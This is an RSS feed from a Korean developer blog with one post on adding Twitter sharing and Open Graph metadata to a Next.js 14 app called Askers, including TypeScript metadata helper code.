<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>10</title>
    <link>https://oxahex.tistory.com/</link>
    <description>궁금한 것 기록</description>
    <language>ko</language>
    <pubDate>Mon, 29 Jun 2026 13:37:43 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>장일영</managingEditor>
    <image>
      <title>10</title>
      <url>https://tistory1.daumcdn.net/tistory/7073144/attach/d43bcff4e77e4cf18061ae42b1c72bd9</url>
      <link>https://oxahex.tistory.com</link>
    </image>
    <item>
      <title>[Askers] Open Graph 적용</title>
      <link>https://oxahex.tistory.com/61</link>
      <description>&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Askers에서 익명의 질문자로부터 온 질문에 유저가 답변을 달았을 때, 이를 SNS에 공유하는 기능을 구현하려 한다. 현재 Askers는 최소 기능만 구현해 빠르게 서비스하는 것을 목표로 하고 있다(Askers v1). 따라서 서비스의 타겟 유저가 가장 많이 사용하는 SNS인 트위터(X)에 공유하는 기능을 우선 개발하기로 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;기능&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;익명의 질문자가 보낸 질문에 유저가 답변했을 때, 연동된 트위터 계정이 있다면 답변 시 해당 답변 페이지 링크와 답변 내용을 트위터에 게시할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_edited_스크린샷 2024-06-26 오전 11.56.05.png&quot; data-origin-width=&quot;1656&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcdJlv/btsIbIQXCfv/KpKgAdPWfDCyee3mF8k8Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcdJlv/btsIbIQXCfv/KpKgAdPWfDCyee3mF8k8Ok/img.png&quot; data-alt=&quot;Askers 답변 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcdJlv/btsIbIQXCfv/KpKgAdPWfDCyee3mF8k8Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcdJlv%2FbtsIbIQXCfv%2FKpKgAdPWfDCyee3mF8k8Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1656&quot; height=&quot;366&quot; data-filename=&quot;edited_edited_스크린샷 2024-06-26 오전 11.56.05.png&quot; data-origin-width=&quot;1656&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Askers 답변 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;현재 이 질문의 링크를 트위터에 게시하면 아래와 같이 노출된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-06-26 오후 12.06.07.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;232&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lhydC/btsIcASdcOM/pfu1sMCmGpUpUUE9OhyM8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lhydC/btsIcASdcOM/pfu1sMCmGpUpUUE9OhyM8K/img.png&quot; data-alt=&quot;Open Graph 태그가 적용되지 않았을 때 웹 페이지를 트위터에 공유한 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lhydC/btsIcASdcOM/pfu1sMCmGpUpUUE9OhyM8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlhydC%2FbtsIcASdcOM%2Fpfu1sMCmGpUpUUE9OhyM8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1178&quot; height=&quot;232&quot; data-filename=&quot;스크린샷 2024-06-26 오후 12.06.07.png&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;232&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Open Graph 태그가 적용되지 않았을 때 웹 페이지를 트위터에 공유한 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;기댓값&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변을 트위터에 공유하는 유저 플로우는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;트위터 공유하기 버튼 클릭 시, 현재 로그인 된 트위터 계정으로 이동하고, 답변 내용과 답변 페이지 링크가 자동완성 되어 있다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;게시된 트윗에서 답변 페이지 링크는 URL이 아닌 미리 보기 링크로 처리되고, 링크 이미지에 질문 내용이 노출된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;트윗의 링크를 클릭하면 Askers 웹 사이트의 해당 답변 페이지로 이동한다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;구현 방안&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;구현을 위해 작업 단위를 세 부분으로 나눴다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;트위터 게시물 작성 버튼 추가&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;질문 이미지 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 페이지 Open Graph 적용&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;작업 단위를 나눈 이유는 1-3의 개발 범위가 겹치지 않아 서로 영향을 주지 않기 때문이다. 각각의 작업 기댓값은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;트위터 게시물 작성 버튼 추가 작업: 트위터 공유하기 버튼 클릭 시, 트윗을 작성할 수 있는 링크로 연결된다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;질문 이미지 생성: 유저가 답변을 하는 시점에 질문을 이미지로 저장한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 페이지에 Open Graph 적용: 포스팅 된 트윗에 링크 문자열이 아닌 이미지가 노출된다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;개발&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;트위터 게시물 작성 버튼 추가&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;공유하기 버튼 클릭 시 바로 트위터 서비스로 이동해 자동으로 게시해야 할 문자열이 삽입된 트윗 작성 화면이 연결되도록 구현하기로 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #9d9d9d; text-align: start; font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;서비스 기획 당시에 생각했던 기능은 유저가 답변을 게시하는 시점에 연동된 트위터 계정으로 동시에 트윗을 작성하는 것이었다. 그러나 트위터 API에 요금이 부과되면서 프로젝트 1개 당 한 달에 1,500개의 트윗만 작성할 수 있게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;a title=&quot;Twitter Developer - Embedded buttons&quot; href=&quot;https://developer.x.com/en/docs/twitter-for-websites/tweet-button/overview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Twitter Developer - Embedded buttons&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719461674747&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Guides&quot; data-og-description=&quot;The Tweet button is a small button displayed on your website to help viewers easily share your content on Twitter. A Tweet button consists of two parts: a&amp;nbsp;link to the Tweet composer on Twitter.com&amp;nbsp;and Twitter for Websites JavaScript to enhance the link w&quot; data-og-host=&quot;developer.x.com&quot; data-og-source-url=&quot;https://developer.x.com/en/docs/twitter-for-websites/tweet-button/overview&quot; data-og-url=&quot;https://developer.x.com/en/docs/twitter-for-websites/tweet-button/overview&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cFQpZ1/hyWrTCL5zF/NoOmYFqicDvpRWXfEaCzD0/img.jpg?width=500&amp;amp;height=263&amp;amp;face=0_0_500_263&quot;&gt;&lt;a href=&quot;https://developer.x.com/en/docs/twitter-for-websites/tweet-button/overview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://developer.x.com/en/docs/twitter-for-websites/tweet-button/overview&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cFQpZ1/hyWrTCL5zF/NoOmYFqicDvpRWXfEaCzD0/img.jpg?width=500&amp;amp;height=263&amp;amp;face=0_0_500_263');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Guides&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The Tweet button is a small button displayed on your website to help viewers easily share your content on Twitter. A Tweet button consists of two parts: a&amp;nbsp;link to the Tweet composer on Twitter.com&amp;nbsp;and Twitter for Websites JavaScript to enhance the link w&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;developer.x.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r2GFN/btsIddQ1dFl/SIA28kWkJ6ojfSC0sJGWn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r2GFN/btsIddQ1dFl/SIA28kWkJ6ojfSC0sJGWn0/img.png&quot; data-filename=&quot;스크린샷 2024-06-27 오후 1.14.08.png&quot; data-origin-height=&quot;442&quot; data-origin-width=&quot;1742&quot; data-is-animation=&quot;false&quot; style=&quot;width: 63.6796%; margin-right: 10px;&quot; data-widthpercent=&quot;64.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r2GFN/btsIddQ1dFl/SIA28kWkJ6ojfSC0sJGWn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr2GFN%2FbtsIddQ1dFl%2FSIA28kWkJ6ojfSC0sJGWn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1742&quot; height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfsHsG/btsIfgFfEYX/5GuYT2fgLa3Rt3gC8bu160/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfsHsG/btsIfgFfEYX/5GuYT2fgLa3Rt3gC8bu160/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;540&quot; data-filename=&quot;edited_스크린샷 2024-06-27 오후 1.11.27.png&quot; style=&quot;width: 35.1576%;&quot; data-widthpercent=&quot;35.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfsHsG/btsIfgFfEYX/5GuYT2fgLa3Rt3gC8bu160/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfsHsG%2FbtsIfgFfEYX%2F5GuYT2fgLa3Rt3gC8bu160%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1175&quot; height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;트위터 공유하기 버튼 클릭 시 동작 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 페이지 Open Graph 적용&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;최종 목적은 익명의 유저가 질문한 내용을 Open Graph 이미지로 저장해 공유 시 해당 이미지가 트윗에 노출되도록 하는 것이다. 이 작업에서는 임의의 이미지를 가지고 Open Graph를 적용했다. 각 답변 페이지에 따라 동적으로 이미지를 생성하는 작업은 작업 범위에서 우선 제외했다. 설정한 이미지가 기댓값대로 노출되면, 이미지를 동적으로 생성하는 작업은 다음 커밋에서 진행해도 무방하기 때문에 작업 범위를 나눴다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Next.js Metadata&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Askers는 Next.js 14 버전으로 개발했다. 기존의 Pages Router가 아닌 App Router 방식을 사용하고 있다. Next.js 공식 문서에 Metadata에 대한 부분이 잘 설명되어 있어서 이를 기반으로 Askers에 적용했다. 기본적으로 프레임워크에서 Metadata 적용을 지원하는 방식은 두 가지다. Config-based Metadata, 그리고 File-based Metadata.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Askers에서 택한 방식은 Config-based Metadata다. 이유는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;별다른 설정이 없는 경우 기본적으로 정의된 Metadata를 반환하고, 특정 페이지에서 Metadata의 일부만 수정해 사용하려 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;특정 페이지 컴포넌트에서 필요한 경우 데이터를 fetch해 Metadata에 포함시켜야 한다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;Config-based Metadata의 경우 Metadata 파일을 각 세그먼트에 추가해야 하기 때문에 Metadata 관련 코드가 분산된다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;따라서 기본적으로 Static Metadata 방식을 사용하되, Metadata를 동적으로 생성해야 하는 페이지에서 Dynamic Metadata 방식을 사용하기로 결정했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start; font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;우선 가장 기본적인 정보를 상수로 지정해 따로 저장했다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719537825828&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// @/app/libs/constants/metadata.ts

export const META = {
  title: &quot;Askers&quot;,
  siteName: &quot;Askers&quot;,
  description: &quot;Ask anything what you want.&quot;,
  keyword: [
    &quot;askers&quot;,
    &quot;asker&quot;,
    &quot;익명질문&quot;,
    &quot;애스커&quot;,
    &quot;애스커스&quot;,
    &quot;에스커&quot;,
    &quot;트위터익명&quot;,
    &quot;질문&quot;,
    &quot;답변&quot;,
    &quot;질문답변&quot;,
    &quot;소통&quot;,
  ],
  url: &quot;https://as-kers.com&quot;,
  ogImage: &quot;/og-dark.png&quot;,
} as const;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;그리고 이 정보를 기반으로 변경이 필요한 값을 파라미터로 받아 Metadata를 생성하는 유틸 함수를 만들었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;우선 Askers 서비스에서 동적으로 Metadata 변경이 필요한 페이지는 답변 상세 페이지다. 변경이 일어날 부분을 파라미터로 만들고, 함수에 인자가 전달되지 않거나, MetadataParams에 일부 데이터가 빠져있는 경우 기본값이 지정되도록 했다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719537978365&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// @/app/libs/metadata.ts

export interface MetadataParams {
  title: string | null;
  description: string | null;
  asPath: string | null;
  ogImage: string | null;
}
export const getMetadata = (metadataParams?: MetadataParams) =&amp;gt; {
  const { title, description, asPath, ogImage } = metadataParams || {};

  const TITLE = title ? `${title} | Askers` : META.title;
  const DESCRIPTION = description || META.description;
  const PAGE_URL = asPath ? asPath : &quot;&quot;;
  const OG_IMAGE = ogImage || META.ogImage;

  return {
    metadataBase: new URL(META.url),
    alternates: {
      canonical: PAGE_URL,
    },
    title: TITLE,
    keywords: [...META.keyword],
    openGraph: {
      title: TITLE,
      description: DESCRIPTION,
      siteName: TITLE,
      locale: &quot;ko_KR&quot;,
      type: &quot;website&quot;,
      url: PAGE_URL,
      images: {
        url: OG_IMAGE,
      },
    },
    verification: {}, // google, naver
    twitter: {
      title: TITLE,
      description: DESCRIPTION,
      images: {
        url: OG_IMAGE,
      },
    },
  };
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 상세 페이지에서 Dynamic Metadata 방식으로 변경될 내용을 지정했다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719538223257&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// @/(tabs)/answers/[id]/page.tsx

type Props = { params: { id: string } };
export const generateMetadata = async ({ params }: Props) =&amp;gt; {
  const dispatch = await getAnswer(params.id);
  if (!dispatch) return;

  return getMetadata({
    title: dispatch.targetUser.nickname,
    asPath: `/answers/${params.id}`,
    description: dispatch.ask.content,
    ogImage: &quot;/og-default.png&quot;,
  });
};

export default async function Page({ params }: Props) {}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;답변 상세 페이지에서 변경되는 값은 웹 페이지 타이틀과 URL, 사이트 설명과 Open Graph 이미지다. 적용한 후 렌더링된 HTML Meta 태그에 기댓값대로 설정된 것을 확인할 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpewu4/btsId9uJXsi/T4FmdYO8ullmWIBFOLyGQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpewu4/btsId9uJXsi/T4FmdYO8ullmWIBFOLyGQK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1760&quot; data-origin-height=&quot;590&quot; data-filename=&quot;스크린샷 2024-06-28 오전 10.56.46.png&quot; style=&quot;width: 52.8397%; margin-right: 10px;&quot; data-widthpercent=&quot;53.46&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpewu4/btsId9uJXsi/T4FmdYO8ullmWIBFOLyGQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpewu4%2FbtsId9uJXsi%2FT4FmdYO8ullmWIBFOLyGQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1760&quot; height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zKhBf/btsIeDvnMMt/48Yfm3pVu6kmU2KlGsHacK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zKhBf/btsIeDvnMMt/48Yfm3pVu6kmU2KlGsHacK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1610&quot; data-origin-height=&quot;620&quot; data-filename=&quot;스크린샷 2024-06-28 오전 10.57.25.png&quot; style=&quot;width: 45.9975%;&quot; data-widthpercent=&quot;46.54&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zKhBf/btsIeDvnMMt/48Yfm3pVu6kmU2KlGsHacK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzKhBf%2FbtsIeDvnMMt%2F48Yfm3pVu6kmU2KlGsHacK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1610&quot; height=&quot;620&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;기본 Metadata와 답변 상세 페이지 Metadata&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
